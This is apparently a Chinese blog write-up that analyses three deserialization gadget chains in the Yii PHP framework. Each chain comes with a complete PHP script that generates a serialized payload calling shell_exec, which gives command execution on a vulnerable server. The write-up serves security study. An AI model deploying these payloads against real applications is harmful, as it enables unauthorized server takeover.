YII框架的三条经典利用链的探究

news/2025/12/7 20:01:20/文章来源:https://www.cnblogs.com/yeswind/p/19318510

利用链一

BatchQueryResult出发,关键源码:(下文关于类的代码都只保留了关键部分)

屏幕截图 2025-12-07 162742
可以看到reset()方法里面的

$this->_dataReader->close();

是可控的,并且在调用__destruct()会直接指向reset();方法

不难想到可以让_dataReader替换为拥有__call方法,并且不含close()方法的对象,这样就能去触发__call方法,从而让利用链延续

$this->_dataReader=new Generator();

利用链条的第二环,Generator

关键源码为

屏幕截图 2025-12-07 174037

经过起始链对对象的操作,也就等价于运行
屏幕截图 2025-12-07 174151

而该部分的

return call_user_func_array($this->formatters['close'], []);$this->formatters['close']是可控的

而且call_user_func_array()是一个重要的可利用函数,作用是:调用一个回调函数,并将一个参数数组传递给它。

回调函数就是一个被当做参数给另一个函数的函数。

到这里,通过起始链的要求,找到的这条链子,有极高的自由度,只需要再找到一个拥有RCE特征的方法的对象即可收尾

$this->formatters['close'] = [new IndexAction(), 'run'];

利用链的第三环,IndexAction

屏幕截图 2025-12-07 175916

该对象的checkAccessid都是可控的

而且作用容器是call_user_func() call_user_func('x','y')就是把右边作为左边的输入

只需要把checkAccess改为shell_exec id改为需要执行的命令就行

$this->checkAccess = 'shell_exec';

      `  $this->id = '命令执行语句'; ` 

最终的利用链条就是

点击查看代码
<?phpnamespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'shell_exec';$this->id = '命令执行语句';  		}}
}
namespace Faker {use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new IndexAction(), 'run'];}}
}
namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new Generator();}}
}
namespace{use yii\db\BatchQueryResult;echo serialize(new BatchQueryResult());
}
——————————————————————————

利用链二

Swift_KeyCache_DiskKeyCache出发

屏幕截图 2025-12-07 182633

$this->path . "/" . $item['is'];容易让人联想到__tosting方法,当一个对象被当做字符串调用的时候,会自动触发该对象的__tostring方法

需要寻找一个对象,其拥有__tosting方法且能够以被利用
$this->path = new See;

利用链的第二环,See

屏幕截图 2025-12-07 183645

return (string) $this->description;的意思是强制将$this->description;转换为字符串,并返回结果

如果目标是对象,且定义了__tosting方法,则会调用;没有定义__toString() 且没有定义 __call() PHP 抛出致命错误,行为终止。

这里利用对象的__call方法(要是利用__tostring干嘛不直接放第二环)

$this->description = new Generator();

利用链的第三环,Generator

这个类在利用链一出现过,不多赘述

主要利用了call_user_func_array()的灵活性,去衔接一个有RCE特征的对象

$this->formatters['render'] = [new CreateAction(), 'run'];

利用链的第四环,CreateAction

屏幕截图 2025-12-07 190228

有没有似曾相识的感觉?和IndexAction的run()方法的效果完全一致!两个不同的类出现相同的方法也并不奇怪

即 $this->checkAccess = 'shell_exec';

        $this->id = '执行语句';

最终的利用链就是

点击查看代码
<?php
namespace yii\rest{class CreateAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'shell_exec';$this->id = '执行语句';}}
}namespace Faker{use yii\rest\CreateAction;class Generator{protected $formatters;public function __construct(){$this->formatters['render'] = [new CreateAction(), 'run'];}}
}namespace phpDocumentor\Reflection\DocBlock\Tags{use Faker\Generator;class See{protected $description;public function __construct(){$this->description = new Generator();}}
}
namespace{use phpDocumentor\Reflection\DocBlock\Tags\See;class Swift_KeyCache_DiskKeyCache{private $keys = [];private $path;public function __construct(){$this->path = new See;$this->keys = array("yes"=>array("is"=>"wind"));}}echo serialize(new Swift_KeyCache_DiskKeyCache());
}
?>
——————————————————————————

利用链三

BatchQueryResult出发

BatchQueryResult的代码与利用链一的完全一致

$this->_dataReader=new DbSession();

利用链的第二环,DbSession

屏幕截图 2025-12-07 192304

不同于利用链条一,不需要再借助__call方法去作为跳板,而是在第二环调用同为close()的方法
而这个close()方法的writeCallbackgetId()都是可控的,接收函数还是call_user_func(),虽然另外接收了两个参数,但是在php里,函数在接收多余参数时不会报错

于是直接$this->writeCallback=[new IndexAction(),'run'];即可运行run()方法

继续对run方法赋值

$this->checkAccess = 'shell_exec';

$this->id = '执行语句';

最终的利用链就是

点击查看代码
<?phpnamespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'shell_exec';$this->id = '执行语句';}}
}
namespace yii\db{use yii\web\DbSession;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new DbSession();}}
}
namespace yii\web{use yii\rest\IndexAction;class DbSession{public $writeCallback;public function __construct(){$this->writeCallback=[new IndexAction(),'run'];}}
}namespace{use yii\db\BatchQueryResult;echo serialize(new BatchQueryResult());
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/991754.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HELLDIVERS 2 地狱潜兵 2 缩小体积至22.54G 教程

23GB 的游戏 根据地狱潜兵官方技术博客: 通过彻底移除数据重复,我们成功将 PC 端的安装体积从约 154GB 减少到约 23GB,总计节省约 131GB(~85%)! 教程 1.最开始是131.03GB2. “右键”游戏-->“属性”3. “测试…

深度解析人工神经元输入机制

人工神经元输入机制深度解析<script src="https://cdn.tailwindcss.com"></script><script src="https://cdn.jsdelivr.net/npm/chart.js"></script>body { font-family:…

Milvus GUI ATTU Docker 容器化部署指南

ATTU是一款全方位的Milvus管理工具(Milvus GUI),旨在简化Milvus向量数据库的管理流程,降低运维成本。通过直观的图形界面,用户可以轻松完成Milvus集群监控、数据管理、向量检索等核心操作。采用Docker容器化部署A…

如何使用QFontDatabase在Qt应用程序中嵌入字体

您可以使用QFontDatabase将True Type字体或Open Type字体嵌入到Qt应用程序中。您可以链接到外部字体文件或链接到作为资源嵌入的字体。 首先,确保包含对QFontDatabase类的引用: #include <QFontDatabase>;要链…

人工神经元输入机制深度解析:从理论基础到工程实践的全面指南

人工神经元输入机制深度解析:从理论基础到工程实践的全面指南引言:人工神经元输入机制的核心概念与研究背景 1.1 人工神经元的理论起源与数学定义 人工神经元的概念起源于 1943 年 McCulloch 和 Pitts 的开创性工作,…

贪心 [CSP-S 2025] 社团招新

[CSP-S 2025] 社团招新 CSP/NOIP 正在 ACM 化. 前几年 T1 送分往往都是写个模拟即可, 但现在变成考思维题了. 显然我们不妨先不管 \(\dfrac{n}{2}\) 的限制, 一股脑直接去把人扔到对应的社团里, 在从人数最多的社团里把…

P7115 [NOIP2020] 移球游戏 题解

P7115 [NOIP2020] 移球游戏 题解(本蒟蒻的第一篇题解,不喜勿喷) NOIP2020 移球游戏 题解 题目描述 有 \(n + 1\) 根柱子(编号 \(1 \sim n+1\)),前 \(n\) 根柱子上有 \(m\) 个球,第 \(n+1\) 根为空。共有 \(n\) 种…

pdf图片处理

将pdf中的一页另存为图片 在使用pymupdf时,获取到page对象后,使用page.get_pixmap(dpi=500) 这个方法可以将整页保存为图像。但这里有两种方式,一种是使用dpi参数,这个是代表在一英寸里要包含多少个像素,设置越大…

2025年12月本田雅阁更换轮胎推荐:最新性能测评与选购攻略

2025年12月本田雅阁更换轮胎推荐:最新性能测评与选购攻略在城市精英家庭与商务用户的换胎决策图谱中,本田雅阁更换轮胎推荐始终是高热度话题。作为深耕中高端轿车市场多年的经典车型,雅阁在底盘调校、动力匹配与NVH…

获取运行中的exe的窗口标题名

获取运行中的exe的窗口标题名使用spy++

2025年大众帕萨特更换轮胎推荐:玲珑、米其林、马牌哪个是全面优选?

2025年大众帕萨特更换轮胎推荐:玲珑、米其林、马牌哪个是全面优选?在德系B级轿车细分市场中,大众帕萨特凭借严谨的工艺调校与均衡的驾乘质感,长期占据商务与家庭出行的重要位置。伴随用车周期的推进,轮胎更换成为…

12.7

今天没课 没怎么学

安卓页面的布局和生命周期(新手村第三篇) - 详解

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

《场景化落地:用 Linux 共享内存解决进程间高效数据传输障碍(终篇)》

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

本地AI模型API网址添加到Open WebUI的方法

如下操作如果需要可以付费找我帮助。设置环境变量。setx HF_ENDPOINT "https://hf-mirror.com"、 pip config set global.index-url https://mirrors.cloud.tencent.com/pypi/simple 根据Open WebUI官方文档…

图像基础核心知识体系

一、 图像基础核心知识体系 1. 像素与分辨率像素:图像的最小单位,一个带有颜色信息的小方点。像素大小通常指图像的总像素数量(宽高),如 19201080(约207万像素)。 分辨率:有两个常见但易混的概念:图像分辨率:…

P14660 你不孤单,我们都在 题解

P14660 你不孤单,我们都在 题解题意 我们有 \(n\) 个朋友,每个朋友有: 当前压力值 \(a_i\) 最大承受值 \(b_i\) 我们可以选择至多一次倾诉活动: 选择任意一些人参加 所有被选中的人的压力值会变成 这些人的压力值的…

Python 潮流周刊#130:Django 6.0 发布了

本周刊由 Python猫 出品,精心筛选国内外的 400+ 信息源,为你挑选最值得分享的文章、教程、开源项目、软件工具、播客和视频、热门话题等内容。愿景:帮助所有读者精进 Python 技术,并增长职业和副业的收入。 温馨提…

渗透测试实验一报告

实验目的和要求 实验目的:理解网络扫描、网络侦察的作用;初步掌握搭建网络渗透测试平台;了解并熟悉常用搜索引擎、扫描工具的应用,通过信息收集为下一步渗透工作打下基础。 系统环境:Kali Linux 2、Metasploitabl…